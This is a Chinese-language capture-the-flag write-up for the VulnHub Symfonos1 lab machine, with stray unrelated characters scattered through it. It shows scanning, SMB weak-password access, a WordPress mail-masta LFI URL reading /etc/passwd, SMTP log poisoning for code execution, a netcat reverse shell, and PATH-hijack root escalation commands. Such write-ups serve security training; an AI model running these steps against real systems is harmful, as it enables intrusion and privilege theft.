- Symfonos1 下載地址:https://www.vulnhub.com/entry/symfonos-1,322/
Symfonos1 是 Symfonos 系列靶機的第一關(guān)陶衅。
目錄
1、掃描
- Netdiscover
- Nmap
2、枚舉
- SMB 共享目錄
- WPScan
3付魔、漏洞利用
- 利用 WordPress 的 LFI 漏洞
- 通過 SMTP 日志投毒使 LFI 漏洞來實現(xiàn) RCE
4、提權(quán)
- 利用環(huán)境變量
PATH
Let's get it!
使用 netdiscover
命令來發(fā)現(xiàn)目標(biāo)主機,這里靶機的 IP
是 192.168.166.201
- netdiscover -i eth0
使用 nmap
對靶機進行端口掃描,發(fā)現(xiàn)開放了以下端口:22
薇缅、25
、80
攒磨、139
泳桦、445
接著使用使用 enum4linux
對靶機進行網(wǎng)絡(luò)枚舉,發(fā)現(xiàn)靶機存在一個名為 helios
的用戶娩缰,以及兩個 Samba 共享目錄 /anonymous
和 /helios
訪問 Samba 共享目錄:
先訪問 /anonymous
目錄蓬痒,因為該目錄無須輸入密碼即可訪問:
查看 attention.txt
文件的內(nèi)容:
上面提到幾個弱密碼,可用來嘗試進入 /helios
目錄,嘗試后發(fā)現(xiàn)弱密碼 qwerty
可進入 /helios
目錄:
發(fā)現(xiàn)兩個文件梧奢,research.txt
和 todo.txt
,查看其內(nèi)容演痒,發(fā)現(xiàn) research.txt
沒啥用亲轨,todo.txt
中提到了一個目錄 /h3l105
,這也許是 Web站點的路徑鸟顺,我們可以嘗試在 Web 中訪問惦蚊,于是訪問 http://192.168.166.201/h3l105/
,發(fā)現(xiàn)是一個使用了 WordPress 搭建的站點:
對該站點使用 BurpSuite
抓包可以看到讯嫂,網(wǎng)站前端向服務(wù)器發(fā)請求的時候蹦锋,還會請求一個域名 symfonos.local
,其實該域名是就是指向靶機的 IP
欧芽,所以我們在攻擊機的 /etc/hosts
文件中加上該域名的解析記錄:
然后使用 WPScan
對其進行掃描莉掂,加上 -ep
參數(shù),枚舉以下該站點使用的 wordpress 插件:
- wpscan --url http://symfonos.local/h3l105/ -ep
發(fā)現(xiàn)使用了 mail-masta
和 site-editor
這兩個插件千扔,使用 searchsploit
搜索一下看有沒有相應(yīng)的 exp
:
可以看到 mail-masta
這個插件的 1.0
版本存在兩個漏洞憎妙,這里我們利用 LFI
漏洞,將 40290.txt
下載下來:
查看該文件曲楚,可看到該漏洞的 PoC
為:
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
可看到漏洞確實存在且可被利用:
因為前面端口掃描的時候厘唾,看到靶機還開放了 25
端口,該端口上運行的是 SMTP 郵件服務(wù)龙誊,所以下面我們通過 SMTP 日志投毒來使得 LFI 漏洞實現(xiàn) RCE抚垃。
訪問 http://192.168.166.201/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios 可看到 /var/mail/helios
文件,該郵件記錄的是 helios
用戶收到的郵件信息趟大。
于是我們可以使用 telnet
通過命令行向 helios
用戶發(fā)送郵件鹤树,在郵件中插入惡意的 php 代碼:
發(fā)送后,通過訪問 http://192.168.166.201/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&m=id 即可達到遠程代碼執(zhí)行的效果
于是护昧,用這種方式魂迄,使用 nc
命令,我們可以拿到一個反向 shell惋耙。
先監(jiān)聽本機 5555
端口:
得到反向 shell:
為了提權(quán)捣炬,我們先通過 find
命令尋找有 sticky
位的程序文件:
- find / -perm -u=s -type f 2>/dev/null
我們選擇其中的 /opt/statuscheck
程序,該文件是一個二進制文件绽榛,因此我們使用 strings
命令查看它的元數(shù)據(jù):
可以看到湿酸,該程序會去調(diào)用 curl
命令。因此我們可以通過自建一個 curl
命令灭美,并通過臨時配置環(huán)境變量 PATH
推溃,使得當(dāng) /opt/statuscheck
程序執(zhí)行的時候,調(diào)用我自建的 curl
命令届腐,從而獲得一個擁有 root 權(quán)限的 shell铁坎。
依次執(zhí)行下面的命令:
cd /tmp
echo "/bin/sh" > curl
chmod 777 curl
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck
這種提權(quán)的方式蜂奸,可閱讀 Linux Privilege Escalation Using PATH Variable
Hacking done.